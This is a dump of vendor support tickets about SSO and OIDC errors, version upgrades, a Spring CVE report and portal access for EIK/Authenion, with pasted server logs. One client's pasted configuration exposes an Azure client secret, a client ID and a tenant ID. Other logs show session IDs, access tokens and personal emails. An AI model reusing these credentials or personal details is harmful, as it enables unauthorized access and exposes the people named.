~[catalina.jar:9.0.98] at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51)  
~[tomcat-websocket.jar:9.0.98] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:168)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:144)  
~[catalina.jar:9.0.98] at  
com.likeminds.ebsauth.processors.HttpProcessor.doFilterInternal(HttpProcessor.java:68)  
~[classes/:2.3.0.4-SNAPSHOT] at  
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)  
~[spring-web-5.3.21.jar:5.3.21] at  
org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:354  
) ~[spring-web-5.3.21.jar:5.3.21] at  
org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:267)  
~[spring-web-5.3.21.jar:5.3.21] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:168)  
~[catalina.jar:9.0.98] at

org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:144)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:482)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93) ~[catalina.jar:9.0.98]  
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:660)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)  
~[catalina.jar:9.0.98] at  
org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:346)  
~[catalina.jar:9.0.98] at  
org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:396)  
~[tomcat-coyote.jar:9.0.98] at  
org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)  
~[tomcat-coyote.jar:9.0.98] at  
org.apache.coyote.AbstractProtocol\$ConnectionHandler.process(AbstractProtocol.java:937)  
~[tomcat-coyote.jar:9.0.98] at  
org.apache.tomcat.util.net.NioEndpoint\$SocketProcessor.doRun(NioEndpoint.java:1791)  
~[tomcat-coyote.jar:9.0.98] at  
org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)

```
~[tomcat-coyote.jar:9.0.98] at
org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1190)
~[tomcat-util.jar:9.0.98] at
org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
~[tomcat-util.jar:9.0.98] at
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
~[tomcat-util.jar:9.0.98] at java.lang.Thread.run(Thread.java:840) ~[?:?]
2024-12-20T13:50:26.252-0600 ERROR Request Origination 64.125.105.66
2024-12-20T13:50:26.252-0600 ERROR The Signature, issuer or aud is invalid
```

Hi Nara Alwar, Please add the following: Add the following parameter into the EIK config file architecture: `jwt.connect.timeout=3000` Restart the Tomcat services Due to: The `OIDC_IDTOKEN_VALIDATION_FAILURE` error occurs due to the read time-outs between the EIK and Token provide (Azure) JWKS endpoint. The read time-outs occurred due to the network latency between the EIK kit and Token provide JWKS endpoint which caused the connections/transactions to exceed the default read timeout configurable for the JWKS endpoint retrieval which is 500ms. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1200> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Nara Alwar, Please make the change on all nodes if it is in a clustered env and restart the Tomcat services. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1200> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

First time it threw that error but subsequent attempts went normal after clearing EBS global cache

Hi Nara Alwar, Thank you for the update. Can we close this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1200> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1201

SUBJECT : How to check current EIK version

PROBLEM DESCRIPTION : I would know what is the current EIK version, please let me know how to check version for EIK

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 seen\_articles: ["48001256200\\", "48001265625\\"] enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Venkata Reddy, Greetings to you ! Current EIK version could be checked by opening the eik-debug.log (search for EIK ver) Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1201> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Thanks for the update, is there any latest version which required to be updated

I am not finding the version details on eik-debug.log file.

Hi Venkata Reddy, Our records indicate that you are using EIK ver 2.2.0.1.0 (old ver) which may not show up the version in the debug file. We had suggested earlier that you upgrade to EIK ver 2.3.0.3. However, we have uploaded the latest EIK ver 2.3.1.2 (war file) to the support portal. Click here to download. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1201> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, We are closing this ticket, Please feel free to reach out to us should you have further queries. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1201> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1202

SUBJECT : Inquiry Regarding HTTP Version 1.0 Support Post-Upgrade to ORDS 24.4

PROBLEM DESCRIPTION : After upgrading to ORDS 24.4, we have encountered an issue where HTTP version 1.0 is no longer supported, as noted in the Oracle forums [<https://forums.oracle.com/ords/apexds/post/internalserverexception-a-trailer-fields-supplier-may-not-3835>]. Currently, we are able to resolve this issue from the backend by adding the following line to the application.conf file: proxy\_http\_version 1.1; We would like to confirm if this change is part of a planned update in the Authenion application. Additionally, is it possible to implement this fix via a front-end parameter change, as the manual modification may be overwritten when the configuration is synced from the Authenion UI? Your guidance on this would be greatly appreciated.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 seen\_articles:

"["48001251586","48001249289"]" enterprise\_enabled: false referrer:  
https://support.likemindsconsulting.com/support/home portal\_url:  
https://support.likemindsconsulting.com/support/tickets/new

Hi Anil Dutta, Greetings to you ! Our Authenion product support will get back to you on your request.  
Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1202> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, We are in the process of testing our next Authenion release, the addition of (Http1.1) feature will be added to controlled from the front-end. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1202> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, We will get back to you once the new Authenion ver 3.0 is released. Shall be closing this ticket for now. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1202> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Do you have an expected release date for authenion 3.0? Thank you, Anil

TICKET DISPLAY ID : 1203

SUBJECT : latest version information and current version support Linux 8

PROBLEM DESCRIPTION : Hi, Can you please provide information on below points? 1) What is the



<https://support.likemindsconsulting.com/helpdesk/tickets/1203> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Greetings to you ! Authenion version details could be found in the authenion-engine.log (eg 2.0) 2023-03-16T21:26:16.850-0400 INFO o.s.b.StartupInfoLogger [main] Starting SSOLibraryApplication v1.0.1 using Java 11.0.16.1 on pd2.likemindscloud.com with PID 27129 (/home/appuser/authenion-2.0/authenion/deploy/authenion-sso-1.0.1.jar started by appuser in /home/appuser/authenion-2.0/authenion/deploy) Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1203> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Greetings to you! We are closing this ticket. Please feel free to reach out to us if you have any further questions. We will notify you upon the release of the new version of Authenion. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1203> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1204

SUBJECT : Heartbeat failed in UAEN Node

PROBLEM DESCRIPTION : Heartbeat failed in UAEN Node. We have change the dns from ABT to UAEN Sai is working on it already

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0



seen\_articles: enterprise\_enabled: false referrer:  
https://support.likemindsconsulting.com/support/home portal\_url:  
https://support.likemindsconsulting.com/support/tickets/new

Hi Amarnath Rajendran, Please let us know when you're available to connect to the VMs. We can update the DBCX file. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1204>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Yesterday, they have changed the DNS from on-premises to UAE North. Today, due to network activity in the VMs ,the on-premises server was not working earlier. EIK was not working on the UAE North server getting 503 server unavailable error. We have requested the logs, but not able to provide us the logs. So, we have reverted the DNS to on-premises and now ARMS (EIK) is working fine. But the issue with the UAE North server is not yet resolved. once he is able to connect to the VM sever, need to update the dbcX file in UAE north.

Amar has updated the Dbcx file in UAE North and also tested the EIK heartbeat URL it is working fine.

Hi Amarnath Rajendran, We will be closing this ticket, you could reopen the same if required. Kindly, contact us if you need any assistance. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1204>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1205

SUBJECT : spring-webmvc-5.3.21.jar vulnerability on EIK

PROBLEM DESCRIPTION : We are getting the vulnerable report of the following file for EIK application, please advise to update to latest. cve-2024-38819 (<https://spring.io/security/cve-2024-38819>)"

/u01/eik/apache\_eikdr/webapps/EBSAuth/WEB-INF/lib/spring-webmvc-5.3.21.jar#

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Venkata Reddy, Greeting to you ! We will get back to you ASAP to address this vulnerability. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1205> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Could you please provide an update.

Hi Venkata Reddy, Our Dev team is working on the fix and we shall give you an update by Monday at the earliest. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1205> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, The new EIK ver 3.0 addressing the mentioned vulnerability will be release by mid March, we are currently testing the beta version and shall keep you posted. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1205> Regards, EIK Support Team <-- This

message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, We will be closing this ticket, and the same can be reopened when we provide you with the new EIK 3.0. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1205> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1206

SUBJECT : Getting EIK exception: OIDC\_STATE\_MISSING\_ERROR

PROBLEM DESCRIPTION : Trying to setup new instance and I'm getting EIK exception: OIDC\_STATE\_MISSING\_ERROR in the eik-debug.log

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/search?term=OIDC-LM-2124> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Bob, Greetings to you! Please make sure the followings apply: 1.Both EBS and EIK domain names should be the same. 2.Check the icx\_cookie\_domain value in EIKAuth.config file. 3.Redirect URL Also, kindly provide us with a screenshot of the error message and the full EIK logs (error & debug) Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1206> Regards, EIK

Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, 1.Please add the following entry in the EIKAuth.config file and to all runtime nodes if applicable. userinfo\_url=https://graph.microsoft.com/oidc/userinfo 2.Restart the Tomcat services. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1206> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Dear Bob, Also, go through the deployment guide, section 7: configuring OIDC model for EIK, which is uploaded to the support portal.

Hi Bob, Kindly go through the deployment guide, section 7: configuring OIDC model for EIK, which is already uploaded to the support portal. Please feel free to get back to us if you need further assistance or you can setup a meeting invite. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1206> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

i added the userinfo piece into the EIK config file, bounced tomcat and the retried... this is what i see in the debug log file: 2025-02-19T09:37:11.601-0500 DEBUG [https-jsse-nio-8443-exec-14] [com.likeminds.ebsauth.service.AuthService] Status Code from OIDC provider: 200  
2025-02-19T09:37:11.601-0500 DEBUG [https-jsse-nio-8443-exec-14] [com.likeminds.ebsauth.service.AuthService] Status Message from OIDC provider: OK

2025-02-19T09:37:12.152-0500 DEBUG [https-jsse-nio-8443-exec-14]  
[com.likeminds.ebsauth.service.AuthService] Response Code from UserInfo: 200  
2025-02-19T09:37:12.152-0500 DEBUG [https-jsse-nio-8443-exec-14]  
[com.likeminds.ebsauth.service.AuthService] Response Message from UserInfo: OK  
2025-02-19T09:37:12.152-0500 DEBUG [https-jsse-nio-8443-exec-14]  
[com.likeminds.ebsauth.service.AuthService] Response from UserInfo:  
{"sub":"clRvAWZkxR7HYIe6Xjj4\_5AMbXfDSsPa0qS9ROLTdWI","name":"Ritchey,  
Bob","family\_name":"Ritchey","given\_name":"Bob","picture":"https://graph.microsoft.com/v1.0/me/ph  
oto/\$value","email":"Bob\_Ritchey@steris.com"} 2025-02-19T09:37:12.156-0500 INFO  
[https-jsse-nio-8443-exec-14] [com.likeminds.ebsauth.service.AuthService] Subject from OIDC login  
Bob\_Ritchey@steris.com 2025-02-19T09:37:12.156-0500 INFO [https-jsse-nio-8443-exec-14]  
[com.likeminds.ebsauth.datasource.DataSourceManager] Entering getConnection  
2025-02-19T09:37:12.156-0500 INFO [https-jsse-nio-8443-exec-14]  
[com.likeminds.ebsauth.datasource.DataSourceManager] Available connections after checkout: 10  
2025-02-19T09:37:12.159-0500 INFO [https-jsse-nio-8443-exec-14]  
[com.likeminds.ebsauth.datasource.DataSourceManager] Borrowed connections after checkout: 1  
2025-02-19T09:37:12.159-0500 DEBUG [https-jsse-nio-8443-exec-14]  
[com.likeminds.ebsauth.datasource.DataSourceManager] Getting User from Column name  
2025-02-19T09:37:12.235-0500 DEBUG [https-jsse-nio-8443-exec-14]  
[com.likeminds.ebsauth.exception.EikExceptionResolver] Resolving to view '/error' based on  
mapping [java.lang.Exception] 2025-02-19T09:37:12.236-0500 DEBUG  
[https-jsse-nio-8443-exec-14] [com.likeminds.ebsauth.exception.EikExceptionResolver] Applying  
HTTP status 200 2025-02-19T09:37:12.237-0500 DEBUG [https-jsse-nio-8443-exec-14]  
[com.likeminds.ebsauth.datasource.DataSourceManager] Entering Getting properties  
2025-02-19T09:37:12.237-0500 DEBUG [https-jsse-nio-8443-exec-14]  
[com.likeminds.ebsauth.datasource.DataSourceManager] Exiting Getting properties

2025-02-19T09:37:12.237-0500

WARN

[https-jsse-nio-8443-exec-14]

[com.likeminds.ebsauth.exception.EikExceptionResolver]

EIK

exception:

EIK\_SQL\_MULTIPLE\_USER\_RECORDS i verified that the user (myself) does NOT contain multiple records

Hi Bob, We see that the debug error message has changed after the addition of the user\_info\_url to the config file, ? Can you please send us a meeting invite to look into this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1206> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, Please send us the new eik-debug and error logs ,also the screenshot of new error message. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1206> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Attached are the new log files. Who do i send the meeting invite to?

Hi Bob, Thank you for the logs, Kindly send the meeting invite to: [eiksupport@likemindsconsulting.com](mailto:eiksupport@likemindsconsulting.com) Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1206> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, We see an error message in the eik-error.log pointing to: "Multiple User records returned from FND table for the username from OIDC" You may want to have a look at the followings:

1.Duplicate usernames in FND\_USER (Multiple rows for the same user in FND\_USER) You may need to remove duplicates. 2.Inactive or expired users (END\_DATE) Filter out inactive users. 3. Mapping between OIDC claim (Azure) and FND\_USER\_NAME might be incorrect Check what attribute is being used as the username in OIDC. Ensure it matches the USER\_NAME column in FND\_USER exactly. If necessary, map an alternative attribute (e.g., email or employee number) to avoid duplicates. Note: Oracle user names are case sensitive by default and the Authentication provider might treat them as case sensitive. Lets connect @ 11:30 PM IST ? ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1206> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Here is our EIKAuth.config file: # #Mon Feb 17 10:28:17 EST 2025  
ebs\_logout\_page=https\://login.microsoftonline.com/9f503db2-02a8-4bb6-8b64-ee489d2a21c5/oauth2/v2.0/logout auth\_type=OIDC icx\_cookie\_domain=steris.com  
ebs\_landing\_page=http\://sturgis.steris.com:8040/OA\_HTML/OA.jsp?OAFunc\=OAHOMEPAGE  
access\_type\_key=access\_type  
token\_endpoint\_url=https\://login.microsoftonline.com/9f503db2-02a8-4bb6-8b64-ee489d2a21c5/oauth2/v2.0/token client\_id=N2JiTk3NGItYzM0ZC00MzkwLTliMGltY2YyMzVkMTI5NmM3  
approval\_prompt\_key=prompt access\_type\_value=offline  
authentication\_server\_url=https\://login.microsoftonline.com/9f503db2-02a8-4bb6-8b64-ee489d2a21c5/oauth2/v2.0/authorize ContextPath=/EBSAuth introspect\_url= jit=False  
approval\_prompt\_value=login consent authn\_attribute=email grant\_type=authorization\_code  
scope=openid profile icx\_cookie\_path=/  
redirect\_uri=https\://oraclereport.steris.com\:/8443/EBSAuth/handler  
jwks\_validation\_url=https\://login.microsoftonline.com/9f503db2-02a8-4bb6-8b64-ee489d2a21c5/discovery/v2.0/keys

client\_secret=TX5xOFF+cDJydWhNLIhWcHMyLkk3WIJCMml5RUduY1FXV1BDWmNfOA\=\=  
issuer=https://login.microsoftonline.com/9f503db2-02a8-4bb6-8b64-ee489d2a21c5/v2.0  
fndusr\_column\_name=email\_address userinfo\_url=https://graph.microsoft.com/oidc/userinfo It  
shows we are mapping to the FND\_USER.email\_address column As i'm trying to connect as myself,  
i've verified that i'm the only user with 'Bob\_Ritchey@steris.com' as the email\_address in the  
fnd\_user.email\_address column. We can discuss at 1:00 pm EDT/11:30 pm IST Thanks

Just want to thank you for your assistance with this. both of the last two environments are working  
now. so we can close this ticket.

Hi Bob, It was our pleasure to meet you and the team ! Enjoy your retirement ! We are closing this  
ticket, Resolved by": 1. Adding the Email attribute in Azure--- >scopes 2. Re-deployed the .war file

TICKET DISPLAY ID : 1207

SUBJECT : Add new employee to Support site

PROBLEM DESCRIPTION : We need to add Santosh\_Sinha@steris.com to our list of users on this  
support site

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 seen\_articles:  
enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/home portal\_url:  
https://support.likemindsconsulting.com/support/tickets/new

Hi Bob, Greeting to you ! We have already given access to: Can we disable one member and add  
Santosh due to limitations to the support portal. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1207> Regards, EIK Support Team <-- This



message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Yes, you can remove Sagar from this list. Thanks!

Hi Bob, Santosh Sinha has been added and the activation email was sent to him. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1207> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Santosh We have recreated the portal account for you and sent the activation email, Please let us know. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1207> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, This issue has been fixed, Kindly check and let us know. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1207> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1209

SUBJECT : ticket viewing

PROBLEM DESCRIPTION : All of the users in our environment should be able to see all of our tickets. Santosh's account was created yesterday, but when he logged in to the support portal, he couldn't see the tickets i have created. is this intended? each member of our team should be able to

see each others ticket.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/tickets/1206 portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi Bob, Lets address this in our call. ? Ticket URL - https://support.likemindsconsulting.com/helpdesk/tickets/1209 Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Bob, This issue has been fixed, Kindly check and let us know. Ticket URL - https://support.likemindsconsulting.com/helpdesk/tickets/1209 Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1210

SUBJECT : ORBIT UAT is getting SSO Exception

PROBLEM DESCRIPTION : 2025-02-18 | 14:47:29.545 +0400| 10.6.0| INFO | https-openssl-nio-443-exec-1 | U: system | .s.OrbitSAMLAuthenticationFailureHandler | Tenant URL for SSO auth failed redirection : uaporb01-abt, URL : https://uaporb01-abt.adcouncil.ae/reporting 2025-02-18 | 14:47:29.607 +0400| 10.6.0| DEBUG | https-openssl-nio-443-exec-3 | U: system | c.orbit.reporting.web.util.OrbitLicenses | Identifying request domain [domain=uaporb01-abt.adcouncil.ae] [isCloudInstance=false] [isSQLNoteBook=false] 2025-02-18 | 14:47:29.607 +0400| 10.6.0| DEBUG | https-openssl-nio-443-exec-3 | U: system |

c.orbit.reporting.web.util.OrbitLicenses | License matched uaporb01-abt.adcouncil.ae contains  
adcouncil.ae 2025-02-18 | 14:47:29.607 +0400| 10.6.0| DEBUG | https-openssl-nio-443-exec-3 | U:  
system | c.orbit.reporting.web.util.OrbitLicenses | Found license for [tenant  
domain=uaporb01-abt.adcouncil.ae] [license domain=adcouncil.ae] 2025-02-18 | 14:47:44.087  
+0400| 10.6.0| DEBUG | https-openssl-nio-443-exec-5 | U: system |  
c.orbit.reporting.web.util.OrbitLicenses | Identifying request domain  
[domain=uaporb01-abt.adcouncil.ae] [isCloudInstance=false] [isSQLNoteBook=false] 2025-02-18 |  
14:47:44.087 +0400| 10.6.0| DEBUG | https-openssl-nio-443-exec-5 | U: system |  
c.orbit.reporting.web.util.OrbitLicenses | License matched uaporb01-abt.adcouncil.ae contains  
adcouncil.ae 2025-02-18 | 14:47:44.087 +0400| 10.6.0| DEBUG | https-openssl-nio-443-exec-5 | U:  
system | c.orbit.reporting.web.util.OrbitLicenses | Found license for [tenant  
domain=uaporb01-abt.adcouncil.ae] [license domain=adcouncil.ae] 2025-02-18 | 14:47:44.087  
+0400| 10.6.0| INFO | https-openssl-nio-443-exec-5 | U: system |  
c.o.r.w.c.SecureAuthReportViewController | Processing post request for secure report access with  
request data : {oas=E-DEz59FR8qideGRiGpz-g., OAPB=\_OAFMID, isSecure=true,  
ORACLE\_EBS\_SESSION\_ID=1280393168, FR=Y, TENANT=uaporb01-abt,  
token=a28b2b54-cc8a-4b7a-be04-6788c5e8360a, AR=Y, language\_code=US, lang\_code=US,  
AUTHKEY=SAML1, OH=Y, LOGIN=AASHOUR, RESP\_ID=50518} 2025-02-18 | 14:47:44.087  
+0400| 10.6.0| INFO | https-openssl-nio-443-exec-5 | U: system |  
com.orbit.reporting.services.UserService | Validated successfully report access token with token :  
a28b2b54-cc8a-4b7a-be04-6788c5e8360a 2025-02-18 | 14:47:44.087 +0400| 10.6.0| INFO |  
https-openssl-nio-443-exec-5 | U: system | c.o.r.w.c.SecureAuthReportViewController | Processing  
post secure report access for EBS with [ebs session id : 1280393168, authority key : SAML1,  
authorization key : null, username : AASHOUR] 2025-02-18 | 14:47:44.102 +0400| 10.6.0| INFO |  
https-openssl-nio-443-exec-5 | U: system | c.o.r.w.c.SecureAuthReportViewController | Tenant  
details with [tenant = uaporb01-abt and tenant id = 1] 2025-02-18 | 14:47:44.102 +0400| 10.6.0|

INFO | https-openssl-nio-443-exec-5 | U: system | .s.s.o.s.i.OIDCConfigMetadataServiceImpl | Finding OIDC registrations for tenant [Id=1, Name=uaporb01-abt] 2025-02-18 | 14:47:44.102 +0400| 10.6.0| INFO | https-openssl-nio-443-exec-5 | U: system | .s.s.o.s.i.OIDCConfigMetadataServiceImpl | Found OIDC registrations : [] for tenant [Id=1, Name=uaporb01-abt] 2025-02-18 | 14:47:44.102 +0400| 10.6.0| INFO | https-openssl-nio-443-exec-5 | U: system | c.o.r.s.s.o.s.i.OIDCAuthCheckServiceImpl | Prepared OIDC authorization URLs : null 2025-02-18 | 14:47:44.118 +0400| 10.6.0| INFO | https-openssl-nio-443-exec-5 | U: system | c.o.r.s.s.s.impl.SAMLAuthorityService | SAML IdP metadata refreshed status : true for tenant = uaporb01-abt 2025-02-18 | 14:47:44.118 +0400| 10.6.0| INFO | https-openssl-nio-443-exec-5 | U: system | c.o.r.s.s.s.impl.SAMLAuthorityService | SAML metadata local cache : {uaporb01-abt={IDP\_METADATA\_FILE=true, IDP\_METADATA\_AUTH\_DEF=com.orbit.reporting.domain.security.SamlAuthDefinition@495da61, ENTITY\_ID=https://auth.adcouncil.ae}} 2025-02-18 | 14:47:44.118 +0400| 10.6.0| DEBUG | https-openssl-nio-443-exec-5 | U: system | c.o.r.w.c.SecureAuthReportViewController | SAML authority identified for the domain = [uaporb01-abt] and IdP entity id = [https://auth.adcouncil.ae] 2025-02-18 | 14:47:44.134 +0400| 10.6.0| WARN | https-openssl-nio-443-exec-1 | U: system | c.o.r.security.saml.OrbitSAMLEntryPoint | Empty authentication received for SSO tenant : uaporb01-abt 2025-02-18 | 14:47:44.134 +0400| 10.6.0| INFO | https-openssl-nio-443-exec-1 | U: system | c.o.r.security.saml.OrbitSAMLEntryPoint | Received relay state value in SAML entry point : [oas=E-DEz59FR8qideGRiGpz-g..&OAPB=\_OAFMID&isSecure=true&ORACLE\_EBS\_SESSION\_ID=1280393168&FR=Y&TENANT=uaporb01-abt&token=a28b2b54-cc8a-4b7a-be04-6788c5e8360a&AR=Y&language\_code=US&lang\_code=US&AUTHKEY=SAML1&OH=Y&LOGIN=AASHOUR&RESP\_ID=50518&x\_auth\_report=true] 2025-02-18 | 14:47:45.774 +0400| 10.6.0| ERROR | https-openssl-nio-443-exec-3 | U: system | .s.OrbitSAMLAuthenticationFailureHandler | SSO authentication failed org.springframework.security.saml.SAMLStatusException: Response has invalid status code urn:oasis:names:tc:SAML:2.0:status:RequestDenied, status message is Dear

User, Currently, You do not have access to this application. at  
